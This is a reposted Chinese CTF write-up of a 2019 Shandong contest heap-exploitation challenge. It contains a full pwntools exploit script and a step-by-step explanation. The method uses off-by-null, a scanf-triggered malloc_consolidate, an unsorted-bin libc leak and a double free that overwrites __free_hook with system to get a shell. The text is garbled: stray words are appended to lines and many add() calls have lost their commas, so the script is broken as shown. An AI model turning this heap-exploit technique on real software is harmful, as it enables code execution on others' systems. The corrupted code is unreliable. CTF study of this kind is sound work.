深思杯PWN復現(二)


2019山東省省賽的第三道 PWN 題目python

題目連接: linux

https://pan.baidu.com/s/17FK07Z0MQUGHB52rm8Ss4Aweb

提取碼: isy6ubuntu

參考:微信

https://wzt.ac.cn/2019/11/04/sdnisc2019編輯器


完整 EXP:url

# encoding=utf-8
from pwn import *
#context.log_level = 'debug'
p = process("./pwn")
elf = ELF("./pwn")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(index,leng,content):
  p.sendlineafter("Your choice: ","1")
  p.sendlineafter("Index: ",str(index))
  p.sendlineafter("note len: ",str(leng))
  p.sendlineafter("content: ",content)
  
def check(index):
  p.sendlineafter("Your choice: ","2")
  p.sendlineafter("Index: ",str(index))
  
def delete(index):
  p.sendlineafter("Your choice: ","3")
  p.sendlineafter("Index: ",str(index))

for i in range(25):
  add(i,0x78,'aaaa'+str(i))#0-24

for i in range(7):
  delete(i)#0-6

delete(10)
delete(11)
delete(12)
delete(13)
delete(14)
delete(15)
p.sendlineafter("Your choice: ",'1'*0x600)
p.sendlineafter("Index: ","50")# >31

for i in range(7):
  add(i,0x78,'bbbb'+str(i))#0-6

add(250x78'25'+"b" * 0x76)#off by null 0x280->0x200
add(260x78'26'+"b" * 0x6e)
add(270x78'27'+"b" * 0x6e)
add(280x78'28'+"b" * 0x6e)
add(290x78'29'+"b" * 0x6e)
add(300x78"/bin/sh\x00")

for i in range(7):
  delete(i)#0-6 tcache

delete(16)
delete(26)
p.sendlineafter("Your choice: ",'1'*0x600)
p.sendlineafter("Index: ","50")# >31

for i in range(7):
    add(i, 0x78"tcache"+str(i))    # clear tcache

add(310x78"aaaa31")
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline("27")
p.recvuntil("Content: ")
libc_addr = u64(p.recv(6).ljust(8'\x00')) - 96 - 0x3ebc40
free_hook = libc_addr + libc.symbols['__free_hook']
system = libc_addr + libc.symbols["system"]

add(100x78"aaaa10")
delete(10)
delete(27)
add(100x78, p64(free_hook))
add(110x78, p64(free_hook))
add(120x78, p64(system))

p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline("30")
p.interactive()


這個題目配了個 libc 2.27 的,因此應該是在 ubuntu 18 下的spa

限制了 size 的大小要小於等於 0x78,存在 off by null.net



首先把 tcache 填滿,接下來 free 的那些就會放到 fastbin 中了debug


若是 scanf 讀入的是一個很大的數的話他就會去申請一塊空間,若是這個空間申請的足夠大就能觸發 malloc_consolidate,從而合併 fastbin 放到 unsorted bin 中去

因此,咱們在 scanf 的時候去發送很大的一個數好比 '1'*600 就能讓前面那些 fastbin 合併



再把以前放在 tcache 中的申請回來,而後去申請一個 chunk,正常狀況應該是:把 unsorted bin 中那塊 0x300 分紅 0x80 與 0x280,可是若是所有寫上加上後面那個 off by null 就會把 0x280 的 size 給改掉,改成 0x200



而後把那 0x200 申請掉,再申請的話就從 top chunk 中劃分了(/bin/sh 那個),可是此時圖中 aaaa16 那裏的 prev_size 依然是 0x280



這時候先把 tcache 填滿了,再去 free 掉 aaaa16 那個,而後再次觸發 malloc_consolidate 就會再給咱們一個 0x300 大小的 free chunk(aaaa16 跟它前面那塊)



先把 tcache 中的都申請完,而後再去申請一個,如今再去 check index27 的就能泄露出 unsorted bin 的地址



而後申請一個 index10,這時候正好申請到 index27 那裏,那麼接下來就是 fastbin double free 了,能夠對着這個釋放兩次,一次 free(index27),一次 free(index10),而後把 free_hook 改成 system 的地址,而後去 free(index30) 也就是前面寫入 /bin/sh 的那一個 chunk


本文分享自微信公衆號 - 陳冠男的遊戲人生(CGN-115)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索